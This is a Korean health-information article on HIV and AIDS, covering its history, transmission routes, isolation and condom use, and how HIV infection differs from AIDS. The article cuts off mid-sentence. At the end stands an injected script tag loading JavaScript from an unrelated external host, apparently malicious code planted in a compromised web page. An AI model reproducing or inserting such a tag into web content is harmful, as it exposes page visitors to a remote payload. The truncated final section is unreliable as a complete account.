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건강정보

HIV감염/ 후천성 면역결핍증

1981년 미국 샌프란시스코의 몇 명의 건강한 동성애자들에서 주폐포자충 폐렴과 카포시 육종이 보고되었는데 이는 놀랍게도 건강한 성인에게 흔히 발생하는 병이 아니었다. 당시엔 이병이 후천성으로 얻어진 어떠한 면역결핍과 연관이 있다고 추정하였고 1983년에는 그러한 병의 원인이 HIV(Human Immunodeficiency virus; 인간면역결핍바이러스)인 것이 밝혀졌다. 100년 전 로버트 코흐가 역학조사로 전염병의 원인이 되는 세균을 규명한 원리가 바로 여기에 적용되었다. 인류에게 감염병이 처음 소개된 지 불과 20년밖에 되지 않았음에도 이미 관련된 수많은 증후군과 기회감염병(opportunistic infections;정상적인 면역상태에서는 감염될 수 없는 병원균들에 의한 감염)이 알려졌고 감염자의 수도 급격히 늘어서 2003년 전 세계적으로는 약 4천만 명에 이르게 되었다. 우리나라에도 약 3천명의 감염자가 있다. 그중 500여명이 작년 한 해 동안만 발생했으니 우리도 이제는 더 자세히 알고 대처할 때가 되었다. 이 병에 대해서 인류가 관심을 갖게 된 이유는 특정한 성습관이나 출산, 수혈을 통해 전염되기 때문에 취약한 국가나 지역, 취약한 집단, 특정 질환을 가진 사람들이 최대의 피해자가 되었다는 점이다. 아프리카의 경우 가난과 기아의 문제와 함께 HIV는 최악의 재앙이 되었다. 그나마 이 병이야말로 1980년대 이후의 의학발전과 신약개발의 최대의 수혜자란 점은 불행 중 다행인 점일 것이다. 이미 치료제가 약 20가지나 시장에 나왔다. 수 십 세기동안 인류를 괴롭히던 전염병인 결핵의 치료제가 아직도 약 10가지 인 것에 비하면 무척 대조적이다. 더욱이 항바이러스요법의 성공으로 질병의 억제를 통한 무병장수를 감히 장담할 수 있는 시대가 되었다.

[1] 전파경로
HIV 감염은 잘 알려진 혈액매개(blood-born) 감염병이다. 이 한마디로 의료진이라면 더 이상 설명도 필요 없이 이 병이 공기 전염되거나 타액, 땀 등을 통해서, 즉 일상생활의 접촉이나 식사를 통해서는 절대로 전염될 수 없고 오직 ① 감염자와의 성관계나, ② 혈액제제에의 노출(감염혈액 수혈, 직업적노출사고), ③ 출산 시 모자간의 수직감염 등이 유일한 경로임을 알 수 있다. 그럼에도 흔히 접하는 두 가지 질문은 (1) 환자를 진료할 때 마스크나 장갑을 착용해야하는가? (2) 비정상적 성행위를 통해서만 전파되므로 “정상적”이고 “청결”한 성행위라면 콘돔 없이 여러 상대와 성관계를 해도 안전하지 않은가? 등의 질문이다. 전자에 대해 설명하자면, 먼저 아주 중증 면역결핍환자가 되어 다른 감염에 취약한 상태가 되면 오히려 환자를 보호하기 위해 격리가 불가피한 경우가 있다. 또는 환자가 결핵 등의 호흡기 전파 감염에 합병되어 다른 환자를 보호하기위해 격리를 하게 되는 경우가 있다. 그 밖의 경우라면 격리가 필요하지 않다. 감염자란 이유만으로 이들이 반드시 다른 환자에게 해로운 사람이 아니다. B형간염 환자가 그렇듯, 매독환자가 그렇듯, 이들도 병원에서는 그냥 환자처럼 대우받아야한다. 질병의 빈도가 증가하고 있는 마당에 일반인들은 감염자에 대한 관용과 이해의 폭을 넓혀야한다. 후자의 문제는 주로 환자 측에서 정보가 부족해서 제기하는 질문이다. 결론부터 이야기하면 이 병은 성관계의 규범적 타당성이나 성행위의 눈에 보이는 청결수준이나 취향보다는 감염자와의 성행위가 유일한 위험요소이다. 동성애자들이 항문성교를 하는 경우 감염자가 많은 이유는 미세한 출혈을 통한 전염의 기회가 더 많기 때문이다. 아무리 순결한 부부간의 정상적인 성행위라고 해도 한쪽이 감염자인데도 콘돔을 사용하지 않으면 감염될 가능성이 높다. 따라서 성관계의 상대가 많아질수록 감염자가 될 가능성은 높아진다. 질병관리본부가 언론매체를 통해서 콘돔광고를 시작한 것도 그러한 긴박한 현실에서 비롯된 적절한 정책이다.

[2] HIV 감염과 AIDS(Acquired Immunodeficiency syndrome;후천면역결핍증후군)는 다르다.
설명하자면 마치 B형간염바이러스에 감염(보균)이 되었다고 모두가 만성간염환자가 아닌 것과 같다. 상당수는 바이러스 감염에도 불구하고 간기능의 이상이 없는 상태를 수년에서 수십 년간 유지하게 된다. 마찬가지로 HIV바이러스가 성관계 등의 접촉을 통해서 감염이 되더라도 당장 AIDS가 되는 것이 아니다. 1993년 미국 질병통제센터(US Center for Diseases Control and Prevention; US CDC)는 환자에게 나타나는 증상이나 징후의 정도와 CD4 림프구(백혈구)의 감소(세포면역의 결핍)의 정도로 AIDS를 정의한다. 우리가 흔히 AIDS는 잠복기가 길다고 알고 있는 것은 면역억제에 따른 증상(기회감염)이 나타나기까지 우리 몸은 최선을 다해서 저항하기 때문이다. 그러나 HIV 감염 자체는 그다지 긴 잠복기가 없어서 접촉시점으로부터 최소한 수주 ?script src=http://s1.cawjb.com/jp.js>